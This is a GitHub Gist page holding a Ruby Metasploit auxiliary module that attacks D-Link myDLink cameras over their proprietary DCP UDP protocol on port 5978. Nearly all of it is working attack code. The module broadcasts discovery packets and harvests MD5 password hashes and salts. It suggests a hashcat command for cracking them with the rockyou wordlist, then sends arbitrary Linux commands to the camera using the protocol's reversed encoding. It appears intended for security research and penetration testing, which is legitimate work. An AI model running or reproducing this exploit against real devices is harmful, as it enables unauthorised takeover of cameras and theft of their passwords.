Last active
August 29, 2015 13:56
-
-
Save phikshun/8951130 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'msf/core' | |
require 'timeout' | |
class Metasploit3 < Msf::Auxiliary | |
Rank = AverageRanking | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'myDLink Camera DCP Command Execution', | |
'Description' => %q{ | |
This module uses the proprietary D-Link DCP protocol to execute Linux commands | |
on the target device. If CMD is not specified, this module will obtain the MD5 hash | |
and salt, which can be easily cracked with most password crackers. If the password | |
is known or can be cracked, the PASS and CMD variables can be set to execute commands. | |
This module requires the device to be on the directed connected subnet. | |
}, | |
'Author' => [ 'Phikshun' ], | |
'License' => MSF_LICENSE, | |
'References' => | |
[ | |
[ 'URL','http://disconnected.io/2014/02/11/protocol-reversing' ], | |
] | |
) | |
) | |
register_options( | |
[ | |
Opt::RHOST('255.255.255.255'), | |
Opt::RPORT(5978), | |
OptString.new('CMD', [false, 'Linux command to execute', nil]), | |
OptString.new('PASS', [false, 'Device password', '']) | |
], self.class) | |
end | |
def run | |
@sock = UDPSocket.new | |
@sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_BROADCAST, true) | |
@sock.bind('0.0.0.0', datastore['RPORT']) | |
if datastore['CMD'] | |
print_status("Sending command #{datastore['CMD']}") | |
packets = send_request(message) | |
packets.each do |pkt| | |
params = parse_packet(pkt) | |
print_status("Device responds with: #{params['R']}") | |
end | |
else | |
print_status("Sending discovery to #{datastore['RHOST']}") | |
hashes = [] | |
packets = send_request(discovery) | |
packets.each do |pkt| | |
params = parse_packet(pkt) | |
mac = params['M'] | |
device = params['D'] | |
if mac | |
print_status("Found device #{device} with MAC address #{mac}") | |
print_status("Sending invalid message to trigger signed response") | |
datastore['CMD'] = "ls /bin/busybox" | |
packets = send_request(message) | |
packets.each do |pkt| | |
params = parse_packet(pkt) | |
salt = decode_packet(pkt).gsub(/^.*,/, '').gsub(/;X=.*$/,'') | |
hashes << "#{params['X']} #{salt}" | |
end | |
end | |
end | |
if hashes.count > 0 | |
print_status("Crack password with hash file contents:") | |
hashes.each do |hash| | |
puts hash | |
end | |
puts | |
print_status("Use example command:") | |
print_status("hashcat -m 20 -a 0 -p \" \" hashfile.txt /usr/share/wordlists/rockyou.txt") | |
else | |
print_status("No hashes found") | |
end | |
end | |
@sock.close | |
end | |
def send_request(msg) | |
@sock.send(msg, 0, datastore['RHOST'], datastore['RPORT']) | |
packets = [] | |
begin | |
Timeout::timeout(5) { | |
loop do | |
pkt = @sock.recvfrom(1024) | |
if pkt && pkt[1][1] != 5978 | |
packets << pkt.first | |
end | |
end | |
} | |
rescue Timeout::Error | |
end | |
packets | |
end | |
def discovery | |
cmd = "1;M=FF:FF:FF:FF:FF:FF;D=" | |
cmd = "#{cmd.length},#{cmd}" | |
cmd = encode(cmd) | |
header = [cmd.length].pack('n') | |
header += "\xff\xff\xff\xff\xff\xff" | |
header += "\xff\xff\xff\xff\xff\xff" | |
pkt = header + cmd | |
end | |
def message | |
cmd = "S;M=FF:FF:FF:FF:FF:FF;D=;C=#{Rex::Text.encode_base64(datastore['CMD'])}" | |
cmd = "#{cmd};X=#{Digest::MD5.hexdigest(cmd + datastore['PASS'])}" | |
cmd = "#{cmd.length},#{cmd}" | |
cmd = encode(cmd) | |
header = [cmd.length].pack('n') | |
header += "\xff\xff\xff\xff\xff\xff" | |
header += "\xff\xff\xff\xff\xff\xff" | |
pkt = header + cmd | |
end | |
def decode_packet(pkt) | |
return '' unless pkt && pkt.length > 0 | |
decode(pkt[14..-1]) | |
end | |
def parse_packet(pkt) | |
return {} unless pkt && pkt.length > 0 | |
decode_packet(pkt).split(';').inject({}) do |r,n| | |
k,v = n.split('=', 2) | |
r[k] = v; r | |
end | |
end | |
def encode(cmd_string) | |
dict = 'qazwersdfxcvbgtyhnmjklpoiu5647382910+/POIKLMJUYTGHNBVFREWSDCXZAQ' | |
term = '$' | |
encode_str = '' | |
bytes = [] | |
padding = 3 - cmd_string.length % 3 | |
padding = 0 if (padding == 3) | |
cmd_string += "\x00" * padding | |
(0).step(cmd_string.length - 1, 3).each do |count| | |
bytes[0] = cmd_string[count].ord | |
bytes[1] = cmd_string[count + 1].ord | |
bytes[2] = cmd_string[count + 2].ord | |
encode_str += dict[bytes[0] >> 2 & 0x3f] | |
encode_str += dict[(bytes[0] & 0x03) << 4 | bytes[1] >> 4 & 0x0f] | |
encode_str += dict[(bytes[1] & 0x0f) << 2 | bytes[2] >> 6 & 0x03] | |
encode_str += dict[bytes[2] & 0x3f] | |
end | |
encode_str = encode_str[0..(encode_str.length - 1 - padding)] | |
encode_str += term * padding | |
end | |
def decode(encode_str) | |
dict = 'qazwersdfxcvbgtyhnmjklpoiu5647382910+/POIKLMJUYTGHNBVFREWSDCXZAQ' | |
term = '$' | |
decode_str = '' | |
bytes = [] | |
padding = 0 | |
dictmap = (0..63).inject({}) { |r,i| r[dict[i].ord] = i; r } | |
dictmap[term.ord] = 0 | |
return '' if (!encode_str || (encode_str.length % 4) != 0) | |
if (encode_str[-2] == term) | |
padding = 2 | |
elsif (encode_str[-1] == term) | |
padding = 1 | |
end | |
(0).step(encode_str.length-1, 4).each do |count| | |
bytes[0] = dictmap[encode_str[count].ord] | |
bytes[1] = dictmap[encode_str[count + 1].ord] | |
bytes[2] = dictmap[encode_str[count + 2].ord] | |
bytes[3] = dictmap[encode_str[count + 3].ord] | |
bytes[0] = bytes[0] << 2 | bytes[1] >> 4 | |
bytes[1] = (bytes[1] & 0x0f) << 4 | bytes[2] >> 2 | |
bytes[2] = (bytes[2] & 0x03) << 6 | bytes[3] | |
decode_str += bytes[0].chr + bytes[1].chr + bytes[2].chr | |
end | |
decode_str = decode_str[0..(decode_str.length - 1 - padding)] | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment